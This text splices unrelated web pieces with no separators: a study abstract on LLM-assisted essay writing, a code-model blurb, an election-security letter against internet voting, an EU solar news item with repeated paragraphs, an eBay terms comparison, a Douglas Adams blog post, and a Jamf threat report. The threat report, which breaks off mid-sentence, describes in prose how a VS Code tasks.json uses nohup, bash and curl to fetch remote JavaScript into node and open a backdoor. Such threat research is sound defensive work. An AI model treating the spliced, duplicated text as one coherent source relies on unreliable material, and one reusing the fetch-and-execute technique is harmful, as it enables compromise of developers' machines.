This study ex­plores the neural and be­hav­ioral con­se­quences of LLM-assisted es­say writ­ing. Participants were di­vided into three groups: LLM, Search Engine, and Brain-only (no tools). Each com­pleted three ses­sions un­der the same con­di­tion. In a fourth ses­sion, LLM users were re­as­signed to Brain-only group (LLM-to-Brain), and Brain-only users were re­as­signed to LLM con­di­tion (Brain-to-LLM). A to­tal of 54 par­tic­i­pants took part in Sessions 1-3, with 18 com­plet­ing ses­sion 4. We used elec­troen­cephalog­ra­phy (EEG) to as­sess cog­ni­tive load dur­ing es­say writ­ing, and an­a­lyzed es­says us­ing NLP, as well as scor­ing es­says with the help from hu­man teach­ers and an AI judge. Across groups, NERs, n-gram pat­terns, and topic on­tol­ogy showed within-group ho­mo­gene­ity. EEG re­vealed sig­nif­i­cant dif­fer­ences in brain con­nec­tiv­ity: Brain-only par­tic­i­pants ex­hib­ited the strongest, most dis­trib­uted net­works; Search Engine users showed mod­er­ate en­gage­ment; and LLM users dis­played the weak­est con­nec­tiv­ity. Cognitive ac­tiv­ity scaled down in re­la­tion to ex­ter­nal tool use. In ses­sion 4, LLM-to-Brain par­tic­i­pants showed re­duced al­pha and beta con­nec­tiv­ity, in­di­cat­ing un­der-en­gage­ment. Brain-to-LLM users ex­hib­ited higher mem­ory re­call and ac­ti­va­tion of oc­cip­ito-pari­etal and pre­frontal ar­eas, sim­i­lar to Search Engine users. Self-reported own­er­ship of es­says was the low­est in the LLM group and the high­est in the Brain-only group. LLM users also strug­gled to ac­cu­rately quote their own work. While LLMs of­fer im­me­di­ate con­ve­nience, our find­ings high­light po­ten­tial cog­ni­tive costs. Over four months, LLM users con­sis­tently un­der­per­formed at neural, lin­guis­tic, and be­hav­ioral lev­els. These re­sults raise con­cerns about the long-term ed­u­ca­tional im­pli­ca­tions of LLM re­liance and un­der­score the need for deeper in­quiry into AI’s role in learn­ing.

Sweep Next-Edit pre­dicts your next code edit be­fore you make it. It runs lo­cally on your lap­top in un­der 500ms (with spec­u­la­tive de­cod­ing) and out­per­forms mod­els over 4x its size on next-edit bench­marks.

Download run_­model.py and the model file, then:

uv pip in­stall llama-cpp-python hug­ging­face_hub

python run_­model.py

The model uses a spe­cific prompt for­mat with file con­text, re­cent diffs, and cur­rent state to pre­dict the next edit. See run_­model.py for a com­plete ex­am­ple.

Signed by a group of 21 com­puter sci­en­tists ex­pert in elec­tion se­cu­rity

Scientists have un­der­stood for many years that in­ter­net vot­ing is in­se­cure and that there is no known or fore­see­able tech­nol­ogy that can make it se­cure. Still, ven­dors of in­ter­net vot­ing keep claim­ing that, some­how, their new sys­tem is dif­fer­ent, or the in­se­cu­rity does­n’t mat­ter. Bradley Tusk and his Mobile Voting Foundation keep tout­ing in­ter­net vot­ing to jour­nal­ists and elec­tion ad­min­is­tra­tors; this whole ef­fort is mis­lead­ing and dan­ger­ous.

Part I.  All in­ter­net vot­ing sys­tems are in­se­cure. The in­se­cu­rity is worse than a well-run con­ven­tional pa­per bal­lot sys­tem, be­cause a very small num­ber of peo­ple may have the power to change any (or all) votes that go through the sys­tem, with­out de­tec­tion. This in­se­cu­rity has been known for years; every in­ter­net vot­ing sys­tem yet pro­posed suf­fers from it, for ba­sic rea­sons that can­not be fixed with ex­ist­ing tech­nol­ogy.

Part II.  Internet vot­ing sys­tems known as “End-to-End Verifiable Internet Voting” are also in­se­cure, in their own spe­cial ways.

Part III.  Recently, Tusk an­nounced an E2E-VIV sys­tem called “VoteSecure.”  It suf­fers from all the same in­se­cu­ri­ties.  Even its de­vel­op­ers ad­mit that in their de­vel­op­ment doc­u­ments.  Furthermore, VoteSecure is­n’t a com­plete, us­able prod­uct, it’s just a “cryptographic core” that some­one might some­day in­cor­po­rate into a us­able prod­uct.

Conclusion.  Recent an­nounce­ments by Bradley Tusks’s Mobile Voting Foundation sug­gest that the de­vel­op­ment of VoteSecure some­how makes in­ter­net vot­ing safe and ap­pro­pri­ate for use in pub­lic elec­tions.  This is un­true and dan­ger­ous.  All de­ployed Internet vot­ing sys­tems are un­safe, VoteSecure is un­safe and is­n’t even a de­ployed vot­ing  sys­tem, and there is no known (or fore­see­able) tech­nol­ogy that can make Internet vot­ing safe.

Internet vot­ing sys­tems (including vote-by-smart­phone) have three very se­ri­ous weak­nesses:

Malware on the voter’s phone (or com­puter) can trans­mit dif­fer­ent votes than the voter se­lected and re­viewed. Vot­ers use a va­ri­ety of de­vices (Android, iPhone, Windows, Mac) which are con­stantly be­ing at­tacked by mal­ware.

Malware (or in­sid­ers) at the server can change votes. In­ter­net servers are con­stantly be­ing hacked from all over the world, of­ten with se­ri­ous re­sults.

Malware at the county elec­tion of­fice can change votes (in those sys­tems where the in­ter­net bal­lots are printed in the county of­fice for scan­ning). County elec­tion com­put­ers are not more se­cure than other gov­ern­ment or com­mer­cial servers, which are reg­u­larly hacked with dis­as­trous re­sults.

Although con­ven­tional bal­lots (marked on pa­per with a pen) are not per­fectly se­cure ei­ther, the prob­lem with in­ter­net bal­lots is the abil­ity for a sin­gle at­tacker (from any­where in the world) to al­ter a very large num­ber of bal­lots with a sin­gle scaled-up at­tack.  That’s much harder to do with hand-marked pa­per bal­lots; oc­ca­sion­ally peo­ple try large-scale ab­sen­tee bal­lot fraud, typ­i­cally re­sult­ing in their be­ing caught, pros­e­cuted, and con­victed.

Years ago, the con­cept of “End-to-End Verifiable Internet Voting” (E2E-VIV) was pro­posed, which was sup­posed to rem­edy some of these weak­nesses by al­low­ing vot­ers to check that their vote was recorded and counted cor­rectly.  Unfortunately, all E2E-VIV sys­tems suf­fer from one or more of the fol­low­ing weak­nesses:

Voters must rely on a com­puter app to do the check­ing, and the check­ing app (if in­fected by mal­ware) could lie to them.

Voters should not be able to prove to any­one else how they voted — the tech­ni­cal term is “receipt-free” — oth­er­wise an at­tacker could build an au­to­mated sys­tem of mass vote-buy­ing via the in­ter­net. But re­ceipt-free E2E-VIV sys­tems are com­pli­cated and coun­ter­in­tu­itive for peo­ple to use.

It’s dif­fi­cult to make an E2E-VIV check­ing app that’s both trust­wor­thy and re­ceipt-free. The best so­lu­tions known al­low check­ing only of votes that will be dis­carded, and cast­ing of votes that haven’t been checked; this is highly coun­ter­in­tu­itive for most vot­ers!

The check­ing app must be sep­a­rate from the vot­ing app, oth­er­wise it does­n’t add any mal­ware-re­sis­tance at all.  But hu­man na­ture be­ing what it is, only a tiny frac­tion of vot­ers will do the ex­tra steps to run the check­ing pro­to­col.  If hardly any­one uses the checker, then the checker is largely in­ef­fec­tive.

Even if some vot­ers do run the check­ing app, if those vot­ers de­tect that the sys­tem is cheat­ing (which is the pur­pose of the check­ing app), there’s no way the vot­ers can prove that to elec­tion of­fi­cials.  That is, there is no “dispute res­o­lu­tion” pro­to­col that could ef­fec­tively work.

Thus, the prob­lem with all known E2E-VIV sys­tems pro­posed to date is that the “verification” part does­n’t add any use­ful se­cu­rity: if a few per­cent of vot­ers use the check­ing pro­to­col and see that the sys­tem is some­times cheat­ing, the sys­tem can still steal the votes of all the vot­ers that don’t use the check­ing pro­to­col. And you might think, “well, if some vot­ers catch the sys­tem cheat­ing, then elec­tion ad­min­is­tra­tors can take ap­pro­pri­ate ac­tion”, but no ap­pro­pri­ate ac­tion is pos­si­ble: the elec­tion ad­min­is­tra­tor can’t can­cel the elec­tion just be­cause a few vot­ers claim (without proof) that the sys­tem is cheat­ing!  That’s what it means to have no dis­pute res­o­lu­tion pro­to­col.

All of this is well un­der­stood in the sci­en­tific con­sen­sus. The in­se­cu­rity of non-E2E-VIV sys­tems has been doc­u­mented for decades.  For a sur­vey of those re­sults, see “Is Internet Voting Trustworthy? The Science and the Policy Battles”. The lack of dis­pute res­o­lu­tion in E2E-VIV sys­tems has been known for many years as well.

Bradley Tusk’s Mobile Voting Foundation con­tracted with the R&D com­pany Free and Fair to de­velop in­ter­net vot­ing soft­ware. Their press re­lease of November 14, 2025 an­nounced the re­lease of an open-source “Software Development Kit” and claimed “This tech­nol­ogy mile­stone means that se­cure and ver­i­fi­able mo­bile vot­ing is within reach.”

After some com­puter sci­en­tists ex­am­ined the open-source VoteSecure and de­scribed se­ri­ous flaws in its se­cu­rity, Dr. Joe Kiniry and Dr. Daniel Zimmerman of Free and Fair re­sponded. They say, in ef­fect, that all the cri­tiques are ac­cu­rate, but they don’t know a way to do any bet­ter: “We share many of [the cri­tique’s] core goals, in­clud­ing voter con­fi­dence, elec­tion in­tegrity, and re­sis­tance to co­er­cion. Where we dif­fer is not so much in val­ues as in as­sump­tions about what is achiev­able—and mean­ing­ful—in un­su­per­vised vot­ing en­vi­ron­ments.”

Based on our own ex­per­tise test, and es­pe­cially in light of the re­sponse from Free and Fair, we stand by the orig­i­nal analy­sis: Mobile Voting Project’s vote-by-smart­phone has crit­i­cal se­cu­rity gaps.

It has been the sci­en­tific con­sen­sus for decades that in­ter­net vot­ing is not se­cur­able by any known tech­nol­ogy. Re­search on fu­ture tech­nolo­gies is cer­tainly worth do­ing. How­ever, the decades of work on E2E-VIV sys­tems has yet to pro­duce any so­lu­tion, or even any hope of a so­lu­tion, to the fun­da­men­tal prob­lems.

Therefore, when it comes to in­ter­net vot­ing sys­tems, elec­tion of­fi­cials and jour­nal­ists should be es­pe­cially wary of “sci­ence by press re­lease.” Per­haps some day an in­ter­net vot­ing so­lu­tion will be pro­posed that can stand up to sci­en­tific in­ves­ti­ga­tion. The most re­li­able venue for as­sess­ing that is in peer-re­viewed sci­en­tific ar­ti­cles. Rep­utable cy­ber­se­cu­rity con­fer­ences and jour­nals have pub­lished a lot of good sci­ence in this area. Press re­leases are not a re­li­able way to as­sess the trust­wor­thi­ness of elec­tion sys­tems.

Duncan Buell, Chair Emeritus — NCR Chair in Computer Science and Engineering, University of South Carolina

David L. Dill, Donald E. Knuth Professor, Emeritus, in the School of Engineering, Stanford University

Bruce Schneier, Fellow and Lecturer at the Harvard Kennedy School, and at the Munk School at the University of Toronto

Kevin Skoglund, President and Chief Technologist, Citizens for Better Elections

Vanessa Teague, Thinking Cybersecurity Pty Ltd and the Australian National University

The shift is largely due to the rapid ex­pan­sion of so­lar en­ergy, which is grow­ing faster than any other source of elec­tric­ity. Together, wind and so­lar gen­er­ated 30 per­cent of E. U. power last year, while fos­sil fu­els pro­vided 29 per­cent, ac­cord­ing to the analy­sis from Ember, a think tank based in London. Including hy­dro, re­new­ables pro­vided nearly half of all E.U. power in 2025.

Last year, for the first time, wind and so­lar sup­plied more power than fos­sil fu­els to the E. U., ac­cord­ing to a new analy­sis.

The shift is largely due to the rapid ex­pan­sion of so­lar en­ergy, which is grow­ing faster than any other source of elec­tric­ity. Together, wind and so­lar gen­er­ated 30 per­cent of E. U. power last year, while fos­sil fu­els pro­vided 29 per­cent, ac­cord­ing to the analy­sis from Ember, a think tank based in London. Including hy­dro, re­new­ables pro­vided nearly half of all E.U. power in 2025.

Last year, for the first time, wind and so­lar sup­plied more power than fos­sil fu­els to the E. U., ac­cord­ing to a new analy­sis.

The analy­sis finds that so­lar is mak­ing gains in every E. U. coun­try, while coal is broadly in re­treat. Last year, so­lar alone sup­plied more than 20 per­cent of power in Hungary, Cyprus, Greece, Spain, and the Netherlands. Meanwhile, in 19 European coun­tries, coal ac­counted for less than 5 per­cent of power. In 2025, both Ireland and Finland joined the ranks of European coun­tries that have shut­tered their last re­main­ing coal plants.

Warming, how­ever, con­tin­ues to chal­lenge the shift to clean en­ergy as drought saps hy­dropower. Last year, hy­dro out­put dropped slightly in the E. U., and nat­ural gas power rose to com­pen­sate.

“The next pri­or­ity for the E. U. should be to put a se­ri­ous dent in re­liance on ex­pen­sive, im­ported gas,” said Ember an­a­lyst Beatrice Petrovich. “Gas not only makes the E.U. more vul­ner­a­ble to en­ergy black­mail, it’s also dri­ving up prices.”

In parts of Europe, there are signs that in­creas­ingly cheap bat­ter­ies are be­gin­ning to dis­place nat­ural gas in the early evening, when power de­mand is high, but so­lar out­put is wan­ing. Said Petrovich, “As this trend ac­cel­er­ates it could limit how much gas is needed in evening hours, there­fore sta­bi­liz­ing prices.”

An E. U. Plan to Slash Micropollutants in Wastewater Is Under Attack

eBay ex­plic­itly pro­hibits AI “buy for me” agents and LLM (larger lan­guage model) bots, up­dates ar­bi­tra­tion and dis­pute res­o­lu­tion re­quire­ments in lat­est User Agreement up­date, go­ing into ef­fect February 20, 2026.

The fol­low­ing sum­mary of changes was pro­vided in an email sent to users:

We’ve up­dated eBay’s User Agreement, in­clud­ing the agree­ment to ar­bi­trate any dis­putes you may have with us. Our up­dated User Agreement was posted on January 20, 2026. For users who agreed to a prior ver­sion of our User Agreement, this agree­ment is ef­fec­tive as of February 20, 2026.

In this up­date, eBay is up­dat­ing its anti-scrap­ing pro­hi­bi­tion to clar­ify that it specif­i­cally also in­cludes bots used for AI or LLMs. eBay is also up­dat­ing the agree­ment to ar­bi­trate in the up­dated User Agreement:

We clar­i­fied the scope of the class ac­tion waiver.

We clar­i­fied the process for opt­ing out of the agree­ment to ar­bi­trate.

We up­dated the phys­i­cal ad­dress to which no­tices for in­for­mal dis­pute res­o­lu­tion, ar­bi­tra­tion de­mands, and no­tices for opt­ing out of ar­bi­tra­tion must be sent.

As al­ways, sell­ers are en­cour­aged to read the en­tire up­dated terms care­fully, but Value Added Resource has you cov­ered with a side by side com­par­i­son high­light­ing some key changes.

Disclaimer: com­par­isons are made us­ing both au­to­mated and man­ual meth­ods and are pro­vided for in­for­ma­tional pur­poses only - no war­ranty of com­plete­ness or ac­cu­racy is ex­pressed or im­plied and users are ad­vised to do their own due dili­gence.

First, as the sum­mary calls out, eBay is ex­plic­itly pro­hibit­ing AI “buy for me” agents and LLM scrap­ing bots from in­ter­act­ing with the plat­form with­out per­mis­sion from eBay.

In con­nec­tion with us­ing or ac­cess­ing our Services you agree to com­ply with this User Agreement, our poli­cies, our terms, and all ap­plic­a­ble laws, rules, and reg­u­la­tions, and you will not…

…use any ro­bot, spi­der, scraper, data min­ing tools, data gath­er­ing and ex­trac­tion tools, or other au­to­mated means to ac­cess our Services for any pur­pose, ex­cept with the prior ex­press per­mis­sion of eBay;

In con­nec­tion with us­ing or ac­cess­ing our Services you agree to com­ply with this User Agreement, our poli­cies, our terms, and all ap­plic­a­ble laws, rules, and reg­u­la­tions, and you will not…

use any ro­bot, spi­der, scraper, data min­ing tools, data gath­er­ing and ex­trac­tion tools, or other au­to­mated means (including, with­out lim­i­ta­tion buy-for-me agents, LLM-driven bots, or any end-to-end flow that at­tempts to place or­ders with­out hu­man re­view) to ac­cess our Services for any pur­pose, ex­cept with the prior ex­press per­mis­sion of eBay;

The move comes af­ter eBay qui­etly changed their ro­bots.txt file with new guid­ance plac­ing guardrails and re­stric­tions on how AI agents in­ter­act with the site in December.

It also comes on the heels of Amazon’s con­tro­ver­sial Buy For Me test which uses agen­tic AI to dis­play items from di­rect mer­chant web­sites for sale through the Amazon app, even if the brand does not sell on Amazon them­selves - rais­ing con­cerns about trans­parency, con­sent, and con­trol over how prod­uct de­tails are dis­played to buy­ers.

While it ap­pears that Amazon Buy For Me cur­rently does not pull in­ven­tory from other third party mar­ket­places, it would not be sur­pris­ing if eBay is re­act­ing at least in part to this and other agen­tic com­merce news mak­ing re­cent head­lines.

The rest of the changes in this User Agreement up­date af­fect ar­bi­tra­tion and dis­pute res­o­lu­tion.

eBay’s pre­vi­ous User Agreement up­date in May 2025 made sig­nif­i­cant changes to ar­bi­tra­tion terms and lim­its on law­suits, forc­ing users to give up their right to the sue the com­pany in many sit­u­a­tions.

In this up­date, eBay has fi­nally up­dated the ad­dress to send ar­bi­tra­tion opt out re­quests and other le­gal cor­re­spon­dence to since sell­ing their for­mer of­fice in Draper, UT in 2024.

Notice to eBay should be sent by email to DisputeNotice@eBay.com or reg­u­lar mail to our of­fices lo­cated at 583 W. eBay Way, Draper, UT 84020.

Notice to eBay should be sent by email to DisputeNotice@eBay.com or reg­u­lar mail to our of­fices lo­cated at 339 W. 13490 S., Ste. 500, Draper, UT 84020

Most im­por­tantly, eBay has ex­panded their ar­bi­tra­tion clause which pre­vi­ously pro­hib­ited class ac­tions to now also ex­plic­itly ex­clude more types of group le­gal ac­tions.

EACH OF US MAY BRING CLAIMS AGAINST THE OTHER ONLY ON AN INDIVIDUAL BASIS AND NOT ON A CLASS, REPRESENTATIVE, OR COLLECTIVE BASIS, AND THE PARTIES HEREBY WAIVE ALL RIGHTS TO HAVE ANY DISPUTE BE BROUGHT, HEARD, ADMINISTERED, RESOLVED, OR ARBITRATED ON A CLASS, COLLECTIVE, OR REPRESENTATIVE BASIS. ONLY INDIVIDUAL RELIEF IS AVAILABLE.

Subject to this Agreement to Arbitrate, the ar­bi­tra­tor may award de­clara­tory or in­junc­tive re­lief only in fa­vor of the in­di­vid­ual party seek­ing re­lief and only to the ex­tent nec­es­sary to pro­vide re­lief war­ranted by the par­ty’s in­di­vid­ual claim. Nothing in this para­graph is in­tended to, nor shall it, af­fect the terms and con­di­tions un­der Section 19. B.7 (“Batch Arbitration”).

EACH OF US MAY BRING CLAIMS AGAINST THE OTHER ONLY ON AN INDIVIDUAL BASIS AND NOT AS A PLAINTIFF OR CLASS MEMBER IN ANY PURPORTED CLASS, OR REPRESENTATIVE, OR COLLECTIVE BASIS, OR PRIVATE ATTORNEY GENERAL ACTION OR PROCEEDING, NOR OTHERWISE TO SEEK RECOVERY OF LOSSES OR DAMAGES (WHETHER FOR YOURSELF OR OTHERS) INCURRED BY A THIRD PARTY, AND THE PARTIES HEREBY WAIVE ALL RIGHTS TO HAVE ANY DISPUTE BE BROUGHT, HEARD, ADMINISTERED, RESOLVED, OR ARBITRATED ON A CLASS, COLLECTIVE, OR REPRESENTATIVE BASIS. ONLY INDIVIDUAL RELIEF IS AVAILABLE.

Subject to this Agreement to Arbitrate, the ar­bi­tra­tor may award de­clara­tory or in­junc­tive re­lief only in fa­vor of the in­di­vid­ual party seek­ing re­lief and only to the ex­tent nec­es­sary to pro­vide re­lief war­ranted by the par­ty’s in­di­vid­ual claim. Nothing in this para­graph is in­tended to, nor shall it, af­fect the terms and con­di­tions un­der Section 19. B.7 (“Batch Arbitration”).

Here’s what that means in plain lan­guage:

* “Not as a plain­tiff or class mem­ber” — pre­vents some­one from join­ing an ex­ist­ing class ac­tion.

* “No pri­vate at­tor­ney gen­eral ac­tions” — blocks law­suits brought “on be­half of the pub­lic,” a type of claim some­times used in con­sumer pro­tec­tion cases.

* “Nor… for losses in­curred by a third party” — pre­vents a per­son from try­ing to re­cover dam­ages suf­fered by some­one else.

Note: this lan­guage does not in any way change or re­strict le­gal ac­tion that state Attorneys General, the FTC or other reg­u­la­tory or le­gal agen­cies can take on be­half of sell­ers and/​or con­sumers - so don’t be dis­suaded from let­ting those agen­cies know about your ex­pe­ri­ences with the plat­form, like the re­cent changes to Promoted Listings ad at­tri­bu­tion poli­cies.

And fi­nally, this User Agreement up­date has been changed to clar­ify that only new users may re­quest to opt out of ar­bi­tra­tion agree­ment - ex­ist­ing users missed their op­por­tu­nity if they did not opt out be­fore May 16, 2025.

IF YOU ARE A NEW USER OF OUR SERVICES, YOU CAN CHOOSE TO OPT OUT OF THIS AGREEMENT TO ARBITRATE (“OPT OUT”) BY MAILING US A WRITTEN OPT-OUT NOTICE (“OPT-OUT NOTICE”).

And that’s it for changes to eBay’s User Agreement go­ing into ef­fect February 20, 2026.

Let us know in the com­ments be­low what you think of these change and how they’ll af­fect your busi­ness!

In 2000, Douglas Adams made an in­ter­est­ing ob­ser­va­tion that I keep re­turn­ing to.

A user on Slashdot named “FascDot Killed My Pr” had asked the fol­low­ing ques­tion (where HGttG = Hitchhiker’s Guide to the Galaxy):

First, a big thank-you. You’ve made a last­ing con­tri­bu­tion to “our” cul­ture (or should that be “culture”?)

I first read HGttG in my early teens. I dou­bled over laugh­ing the whole time. I read and reread the en­tire se­ries, bought both Dirk Gently books AND Last Chance to See. Loved them all and would­n’t trade hav­ing read them for any­thing. (btw, the first men­tal ward scene in Long Dark Teatime is a no-foolin’, all-time clas­sic.)

However, a few years ago I was talk­ing to a (then) class­mate. Very smart, phi­los­o­phy-ma­jor type. He said (paraphrased) “I thought that HGttG was de­press­ing. Such ni­hilism.” At the time I thought “Hmmm…I did­n’t SEE a black beret on his head….”. But every read­ing of the se­ries since then his com­ment has struck me as more true–es­pe­cially in the case of Arthur Dent. In fact, far from be­ing funny, I now find Dent’s char­ac­ter de­press­ing–he’s not just a loser, he lit­er­ally has no con­trol over his life at all (except in So Long for a while). And the con­trol he does have does him no good (e.g. Earth is de­stroyed while he’s try­ing to save his house.)

So my ques­tion is: When you were writ­ing these books did you feel you were be­ing gaily whim­si­cal or did you in­stead feel frus­trated and cyn­i­cal?

I sus­pect there is a cul­tural di­vide at work here. In England our he­roes tend to be char­ac­ters who ei­ther have, or come to re­alise that they have, no con­trol over their lives what­so­ever — Pilgrim, Gulliver, Hamlet, Paul Pennyfeather (from Decline and Fall), Tony Last (from A Handful of Dust). We cel­e­brate our de­feats and our with­drawals — the Battle of Hastings, Dunkirk, al­most any given test match. There was a won­der­ful book pub­lished, oh, about twenty years ago I think, by Stephen Pile called the Book of Heroic Failures. It was stag­ger­ingly huge best­seller in England and sank with heroic lack of trace in the U. S. Stephen ex­plained this to me by say­ing that you can­not make jokes about fail­ure in the States. It’s like can­cer, it just is­n’t funny at any level. In England, though, for some rea­son it’s the thing we love most. So Arthur may not seem like much of a hero to Americans — he does­n’t have any stock op­tions, he does­n’t have any­thing to ex­change high fives about round the wa­ter-cooler. But to the English, he is a hero. Terrible things hap­pen to him, he com­plains about it a bit quite ar­tic­u­lately, so we can re­ally feel it along with him - then calms down and has a cup of tea. My kind of guy!

I’ve hit a cer­tain amount of dif­fi­culty over the years in ex­plain­ing this in Hollywood. I’m of­ten asked ‘Yes, but what are his goals?’ to which I can only re­spond, well, I think he’d just like all this to stop, re­ally. It’s been a hard sell. I rather miss David Vogel from the film process. He’s the stu­dio ex­ec­u­tive at Disney who was in charge of the pro­ject for a while, but has since de­parted. There was a big meet­ing at one time to dis­cuss, amongst other things, Arthur’s hero­ic­ness or lack of it. David sud­denly asked me ‘Does Arthur’s pres­ence in the pro­ceed­ings make a dif­fer­ence to the way things turn out?’ to which I said, slightly puz­zled, ‘Well, yes.’ David smiled and said ‘Good. Then he’s a hero.’

In the cur­rent, lat­est ver­sion of the screen­play, I think that Arthur’s non-heroic hero­ism is now ab­solutely pre­served, and I’m pleased with the way he works out.

I think I have more to say about this, and will try to come back and add more here, but mean­while a few things at ran­dom:

As a mat­ter of fact, I have read The Book of Heroic Failures (1979) with great en­joy­ment. (Post from 2011 — I only wrote four sen­tences of my own, but one of them was “Too many books have been writ­ten in praise of com­pe­tence; this book pro­vides an an­ti­dote by cel­e­brat­ing fail­ure as only a British au­thor can.”)

I think he is right that this goes over bet­ter (generally speak­ing) in England than in the USA. Of course one can make jokes mock­ing fail­ure, but some­one who fails does not au­to­mat­i­cally be­come en­dear­ing (in a kind of every­man way) in America the way they would in England. It seems to me that Americans are more likely to feel ei­ther con­tempt or pity than to feel kin­ship: or at any rate, they re­gard the fail­ure as a set­back or in­ter­est­ing cir­cum­stance, rather than the nat­ural/​de­fault state of the world. (As some­one who is nei­ther American nor English, I am of course not some­one whose opin­ions you should pay any heed to.)

* As we live our lives, are we merely vic­tims sub­ject to winds of chance and ex­ter­nal cir­cum­stance, or are we pow­er­ful agents fash­ion­ing our own sto­ries, mak­ing our own luck? Obviously the an­swer is “both”, but per­haps the most dis­tinc­tively American trait is to lean more to­wards the lat­ter.

Meet Jamf: The most com­plete Apple de­vice man­age­ment and se­cu­rity so­lu­tion.

Learn More

Jamf for K-12

Management and se­cu­rity for the class­room

Meet Jamf: The most com­plete Apple de­vice man­age­ment and se­cu­rity so­lu­tion.

Learn More

Jamf for K-12

Management and se­cu­rity for the class­room

Empower your em­ploy­ees with our best-in-class prod­ucts.

Learn More

Find the best set of Jamf tools for your bud­get.

Whether you’re look­ing for ed­u­ca­tion or in­spi­ra­tion, Jamf has you cov­ered with the lat­est in­dus­try and prod­uct-spe­cific re­sources.

View Resources

Blog

Get the lat­est in­dus­try in­sights, news, prod­uct up­dates and more.

E-books

Thought-provoking con­tent de­signed to keep you ahead of in­dus­try trends.

White Papers

Research re­ports and best prac­tices to keep you in­formed of Apple man­age­ment tac­tics.

Videos

See prod­uct demos in ac­tion and hear from Jamf cus­tomers.

Case Studies

Apple suc­cess sto­ries from those sav­ing time and money with Jamf.

Product Documentation

Learn more about our prod­ucts and what they can do for your or­ga­ni­za­tion.

Current part­ner, fu­ture part­ner or pur­chas­ing from a part­ner - you’re in the right place.

Learn More

Jamf Threat Labs iden­ti­fies ad­di­tional abuse of Visual Studio Code. See the lat­est evo­lu­tion in the Contagious Interview cam­paign.

At the end of last year, Jamf Threat Labs pub­lished re­search re­lated to the Contagious Interview cam­paign, which has been at­trib­uted to a threat ac­tor op­er­at­ing on be­half of North Korea (DPRK). Around the same time, re­searchers from OpenSourceMalware (OSM) re­leased ad­di­tional find­ings that high­lighted an evo­lu­tion in the tech­niques used dur­ing ear­lier stages of the cam­paign. Specifically, these newer ob­ser­va­tions high­light an ad­di­tional de­liv­ery tech­nique along­side the pre­vi­ously doc­u­mented ClickFix-based tech­niques. In these cases, the in­fec­tion chain abuses Microsoft Visual Studio Code task con­fig­u­ra­tion files, al­low­ing ma­li­cious pay­loads to be ex­e­cuted on the vic­tim sys­tem. Following the dis­cov­ery of this tech­nique, both Jamf Threat Labs and OSM con­tin­ued to closely mon­i­tor ac­tiv­ity as­so­ci­ated with the cam­paign. In December, Jamf Threat Labs iden­ti­fied ad­di­tional abuse of Visual Studio Code tasks.json con­fig­u­ra­tion files. This in­cluded the in­tro­duc­tion of dic­tio­nary files con­tain­ing heav­ily ob­fus­cated JavaScript, which is ex­e­cuted when a vic­tim opens a ma­li­cious repos­i­tory in Visual Studio Code. Jamf Threat Labs shared these find­ings with OSM, who sub­se­quently pub­lished a more in-depth tech­ni­cal analy­sis of the ob­fus­cated JavaScript and its ex­e­cu­tion flow. Earlier this week, Jamf Threat Labs iden­ti­fied an­other evo­lu­tion in the cam­paign, un­cov­er­ing a pre­vi­ously un­doc­u­mented in­fec­tion method. This ac­tiv­ity in­volved the de­ploy­ment of a back­door im­plant that pro­vides re­mote code ex­e­cu­tion ca­pa­bil­i­ties on the vic­tim sys­tem. At a high level, the chain of events for the mal­ware look like so:

Throughout this blog post we will shed light on each of these steps. In this cam­paign, in­fec­tion be­gins when a vic­tim clones and opens a ma­li­cious Git repos­i­tory, of­ten un­der the pre­text of a re­cruit­ment process or tech­ni­cal as­sign­ment. The repos­i­to­ries iden­ti­fied in this ac­tiv­ity are hosted on ei­ther GitHub or GitLab and are opened us­ing Visual Studio Code. When the pro­ject is opened, Visual Studio Code prompts the user to trust the repos­i­tory au­thor. If that trust is granted, the ap­pli­ca­tion au­to­mat­i­cally processes the repos­i­to­ry’s tasks.json con­fig­u­ra­tion file, which can re­sult in em­bed­ded ar­bi­trary com­mands be­ing ex­e­cuted on the sys­tem.

On ma­cOS sys­tems, this re­sults in the ex­e­cu­tion of a back­ground shell com­mand that uses no­hup bash -c in com­bi­na­tion with curl -s to re­trieve a JavaScript pay­load re­motely and pipe it di­rectly into the Node.js run­time. This al­lows ex­e­cu­tion to con­tinue in­de­pen­dently if the Visual Studio Code process is ter­mi­nated, while sup­press­ing all com­mand out­put.

In ob­served cases, the JavaScript pay­load is hosted on ver­cel.app, a plat­form that has been in­creas­ingly used in re­cent DPRK-related ac­tiv­ity fol­low­ing a move away from other host­ing ser­vices, as pre­vi­ously doc­u­mented by OpenSourceMalware. Jamf Threat Labs re­ported the iden­ti­fied ma­li­cious repos­i­tory to GitHub, af­ter which the repos­i­tory was re­moved. While mon­i­tor­ing the ac­tiv­ity prior to take­down, we ob­served the URL ref­er­enced within the repos­i­tory change on mul­ti­ple oc­ca­sions. Notably, one of these changes oc­curred af­ter the pre­vi­ously ref­er­enced pay­load host­ing in­fra­struc­ture was taken down by Vercel. Once ex­e­cu­tion be­gins, the JavaScript pay­load im­ple­ments the core back­door logic ob­served in this ac­tiv­ity. While the pay­load ap­pears lengthy, a sig­nif­i­cant por­tion of the code con­sists of un­used func­tions, re­dun­dant logic, and ex­tra­ne­ous text that is never in­voked dur­ing ex­e­cu­tion (SHA256: 932a67816b10a34d05a2621836cdf7fbf0628bbfdf66ae605c5f23455de1e0bc). This ad­di­tional code in­creases the size and com­plex­ity of the script with­out im­pact­ing its ob­served be­hav­ior. It is passed to the node ex­e­cutable as one large ar­gu­ment. Focusing on the func­tional com­po­nents, the pay­load es­tab­lishes a per­sis­tent ex­e­cu­tion loop that col­lects ba­sic host in­for­ma­tion and com­mu­ni­cates with a re­mote com­mand-and-con­trol (C2) server. Hard-coded iden­ti­fiers are used to track in­di­vid­ual in­fec­tions and man­age tasks from the server. While the JavaScript pay­load con­tains a sig­nif­i­cant amount of un­used code, the back­door’s core func­tion­al­ity is im­ple­mented through a small num­ber of rou­tines. These rou­tines pro­vide re­mote code ex­e­cu­tion, sys­tem fin­ger­print­ing, and per­sis­tent C2 com­mu­ni­ca­tion. The pay­load in­cludes a func­tion that en­ables the ex­e­cu­tion of ar­bi­trary JavaScript while the back­door is ac­tive. At its core, this is the main func­tion­al­ity of this back­door.

This func­tion al­lows JavaScript code sup­plied as a string to be dy­nam­i­cally ex­e­cuted over the course of the back­door life­cy­cle. By pass­ing the re­quire­func­tion into the ex­e­cu­tion con­text, at­tacker-sup­plied code can im­port ad­di­tional Node.js mod­ules al­low­ing ad­di­tional ar­bi­trary node func­tions to be ex­e­cuted. To pro­file the in­fected sys­tem, the back­door col­lects a small set of host-level iden­ti­fiers:

